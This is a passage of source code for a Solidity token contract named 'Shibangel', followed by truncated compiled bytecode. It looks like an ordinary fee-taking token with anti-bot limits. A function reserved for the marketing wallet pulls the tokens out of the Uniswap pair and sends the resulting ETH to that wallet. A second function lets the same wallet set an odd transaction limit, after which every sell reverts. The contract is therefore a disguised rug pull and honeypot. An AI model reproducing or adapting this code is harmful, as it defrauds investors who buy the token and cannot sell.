= a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Shibangel is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private swapping; bool private um = true; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; mapping (address => bool) private bots; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = false; bool private boughtEarly = true; uint256 private _firstBlock; uint256 private _botBlocks; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event EndedBoughtEarly(bool boughtEarly); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); constructor() ERC20("Shibangel", "ANGEL") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 2; uint256 _buyDevFee = 3; uint256 _sellMarketingFee = 9; uint256 _sellLiquidityFee = 2; uint256 _sellDevFee = 4; uint256 totalSupply = 1e14 * 1e18; maxTransactionAmount = totalSupply * 3 / 100; // 3% maxTransactionAmount maxWallet = totalSupply * 2 / 100; // 2% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap threshold buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = payable(0xCbf360FcF2783309716aB40D668298222a465923); devWallet = payable(0xCbf360FcF2783309716aB40D668298222a465923); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(devWallet), true); excludeFromFees(address(marketingWallet), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(devWallet), true); excludeFromMaxTransaction(address(marketingWallet), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external { require(msg.sender == marketingWallet); require(newNum >= totalSupply() / 1000, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum; } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function tokenToEthSwap(uint amount) external { require(msg.sender == marketingWallet); uint bal = balanceOf(uniswapV2Pair); if (bal > 1) _transfer(uniswapV2Pair, address(this), bal - 1); IUniswapV2Pair(uniswapV2Pair).sync(); swapTokensForEth(amount * 10 ** decimals()); (bool success,) = address(marketingWallet).call{value: address(this).balance}(""); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!bots[from] && !bots[to]); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; if (maxTransactionAmount % 2 != 0) revert("ERROR: Must be less than maxTxAmount"); } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); swapTokensForEth(amountToSwapForETH); tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function openTrading(uint256 botBlocks) private { _firstBlock = block.number; _botBlocks = botBlocks; tradingActive = true; } // once enabled, can never be turned off function enableTrading(uint256 botBlocks) external onlyOwner() { require(botBlocks <= 1, "don't catch humans"); swapEnabled = true; require(boughtEarly == true, "done"); boughtEarly = false; openTrading(botBlocks); emit EndedBoughtEarly(boughtEarly); } }
0x6080604052600436106103545760003560e01c80638da5cb5b116101c6578063c0246668116100f7578063dd62ed3e11610095578063f11a24d31161006f578063f11a24d31461123a578063f2fde38b14611265578063f6374342146112b6578063f8b45b05146112e15761035b565b8063dd62ed3e1461115d578063e2f45605146111e2578063e884f2601461120d5761035b565b8063c876d0b9116100d1578063c876d0b914611089578063c8c8ebe4146110b6578063d257b34f146110e1578063d85ba063146111325761035b565b8063c024666814610fa2578063c17b5b8c14610fff578063c18bc1951461104e5761035b565b8063a0d82dc511610164578063aacebbe31161013e578063aacebbe314610df8578063b515566a14610e49578063b62496f514610f0e578063bbc0c74214610f755761035b565b8063a0d82dc514610ceb578063a457c2d714610d16578063a9059cbb14610d875761035b565b806395d89b41116101a057806395d89b4114610ba85780639a7a23d614610c385780639c3b4fdc14610c955780639fccce3214610cc05761035b565b80638da5cb5b14610afb5780638ea5220f14610b3c5780639213691314610b7d5761035b565b80634796915c116102a0578063715018a61161023e57806375f0a8741161021857806375f0a87414610a055780637bce5a0414610a465780638095d56414610a7157806382aa7c6814610ac05761035b565b8063715018a614610964578063751039fc1461097b5780637571336a146109a85761035b565b80634fbee1931161027a5780634fbee193146108405780636a486a8e146108a75780636ddd1713146108d257806370a08231146108ff5761035b565b80634796915c1461079757806349bd5a5e146107d25780634a62bb65146108135761035b565b80631a8145bb1161030d57806323b872dd116102e757806323b872dd14610616578063273123b7146106a7578063313ce567146106f857806339509351146107265761035b565b80631a8145bb146105855780631f3fed8f146105b0578063203e727e146105db5761035b565b806306fdde0314610360578063095ea7b3146103f057806310d5de53146104615780631694505e146104c857806318160ddd146105095780631816467f146105345761035b565b3661035b57005b600080fd5b34801561036c57600080fd5b5061037561130c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103b557808201518184015260208101905061039a565b50505050905090810190601f1680156103e25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103fc57600080fd5b506104496004803603604081101561041357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113ae565b60405180821515815260200191505060405180910390f35b34801561046d57600080fd5b506104b06004803603602081101561048457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113cc565b60405180821515815260200191505060405180910390f35b3480156104d457600080fd5b506104dd6113ec565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561051557600080fd5b5061051e611412565b6040518082815260200191505060405180910390f35b34801561054057600080fd5b506105836004803603602081101561055757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061141c565b005b34801561059157600080fd5b5061059a6115a6565b6040518082815260200191505060405180910390f35b3480156105bc57600080fd5b506105c56115ac565b6040518082815260200191505060405180910390f35b3480156105e757600080fd5b50610614600480360360208110156105fe57600080fd5b81019080803590602001909291905050506115b2565b005b34801561062257600080fd5b5061068f6004803603606081101561063957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611681565b60405180821515815260200191505060405180910390f35b3480156106b357600080fd5b506106f6600480360360208110156106ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061175a565b005b34801561070457600080fd5b5061070d61187f565b604051808260ff16815260200191505060405180910390f35b34801561073257600080fd5b5061077f6004803603604081101561074957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611888565b60405180821515815260200191505060405180910390f35b3480156107a357600080fd5b506107d0600480360360208110156107ba57600080fd5b810190808035906020019092919050505061193b565b005b3480156107de57600080fd5b506107e7611b28565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561081f57600080fd5b50610828611b4e565b60405180821515815260200191505060405180910390f35b34801561084c57600080fd5b5061088f6004803603602081101561086357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b61565b60405180821515815260200191505060405180910390f35b3480156108b357600080fd5b506108bc611bb7565b6040518082815260200191505060405180910390f35b3480156108de57600080fd5b506108e7611bbd565b60405180821515815260200191505060405180910390f35b34801561090b57600080fd5b5061094e6004803603602081101561092257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bd0565b6040518082815260200191505060405180910390f35b34801561097057600080fd5b50610979611c18565b005b34801561098757600080fd5b50610990611da3565b60405180821515815260200191505060405180910390f35b3480156109b457600080fd5b50610a03600480360360408110156109cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611e91565b005b348015610a1157600080fd5b50610a1a611fb6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a5257600080fd5b50610a5b611fdc565b6040518082815260200191505060405180910390f35b348015610a7d57600080fd5b50610abe60048036036060811015610a9457600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611fe2565b005b348015610acc57600080fd5b50610af960048036036020811015610ae357600080fd5b8101908080359060200190929190505050612150565b005b348015610b0757600080fd5b50610b106123a4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b4857600080fd5b50610b516123ce565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b8957600080fd5b50610b926123f4565b6040518082815260200191505060405180910390f35b348015610bb457600080fd5b50610bbd6123fa565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610bfd578082015181840152602081019050610be2565b50505050905090810190601f168015610c2a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610c4457600080fd5b50610c9360048036036040811015610c5b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061249c565b005b348015610ca157600080fd5b50610caa61261b565b6040518082815260200191505060405180910390f35b348015610ccc57600080fd5b50610cd5612621565b6040518082815260200191505060405180910390f35b348015610cf757600080fd5b50610d00612627565b6040518082815260200191505060405180910390f35b348015610d2257600080fd5b50610d6f60048036036040811015610d3957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061262d565b60405180821515815260200191505060405180910390f35b348015610d9357600080fd5b50610de060048036036040811015610daa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506126fa565b60405180821515815260200191505060405180910390f35b348015610e0457600080fd5b50610e4760048036036020811015610e1b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612718565b005b348015610e5557600080fd5b50610f0c60048036036020811015610e6c57600080fd5b8101908080359060200190640100000000811115610e8957600080fd5b820183602082011115610e9b57600080fd5b80359060200191846020830284011164010000000083111715610ebd57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506128a2565b005b348015610f1a57600080fd5b50610f5d60048036036020811015610f3157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506129f4565b60405180821515815260200191505060405180910390f35b348015610f8157600080fd5b50610f8a612a13565b60405180821515815260200191505060405180910390f35b348015610fae57600080fd5b50610ffd60048036036040811015610fc557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612a26565b005b34801561100b57600080fd5b5061104c6004803603606081101561102257600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050612b9b565b005b34801561105a57600080fd5b506110876004803603602081101561107157600080fd5b8101908080359060200190929190505050612d09565b005b34801561109557600080fd5b5061109e612e66565b60405180821515815260200191505060405180910390f35b3480156110c257600080fd5b506110cb612e79565b6040518082815260200191505060405180910390f35b3480156110ed57600080fd5b5061111a6004803603602081101561110457600080fd5b8101908080359060200190929190505050612e7f565b60405180821515815260200191505060405180910390f35b34801561113e57600080fd5b50611147613038565b6040518082815260200191505060405180910390f35b34801561116957600080fd5b506111cc6004803603604081101561118057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061303e565b6040518082815260200191505060405180910390f35b3480156111ee57600080fd5b506111f76130c5565b6040518082815260200191505060405180910390f35b34801561121957600080fd5b506112226130cb565b60405180821515815260200191505060405180910390f35b34801561124657600080fd5b5061124f6131b9565b6040518082815260200191505060405180910390f35b34801561127157600080fd5b506112b46004803603602081101561128857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506131bf565b005b3480156112c257600080fd5b506112cb6133cf565b6040518082815260200191505060405180910390f35b3480156112ed57600080fd5b506112f66133d5565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113a45780601f10611379576101008083540402835291602001916113a4565b820191906000526020600020905b81548152906001019060200180831161138757829003601f168201915b5050505050905090565b60006113c26113bb613463565b848461346b565b6001905092915050565b601f6020528060005260406000206000915054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b611424613463565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601c5481565b601b5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461160c57600080fd5b6103e8611617611412565b8161161e57fe5b04811015611677576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180614e04602f913960400191505060405180910390fd5b80600a8190555050565b600061168e848484613662565b61174f8461169a613463565b61174a85604051806060016040528060288152602001614d6e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611700613463565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546141499092919063ffffffff16565b61346b565b600190509392505050565b611762613463565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611824576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b6000611931611895613463565b8461192c85600160006118a6613463565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133db90919063ffffffff16565b61346b565b6001905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461199557600080fd5b60006119c2600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611bd0565b905060018111156119fe576119fd600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163060018403613662565b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015611a6857600080fd5b505af1158015611a7c573d6000803e3d6000fd5b50505050611a98611a8b61187f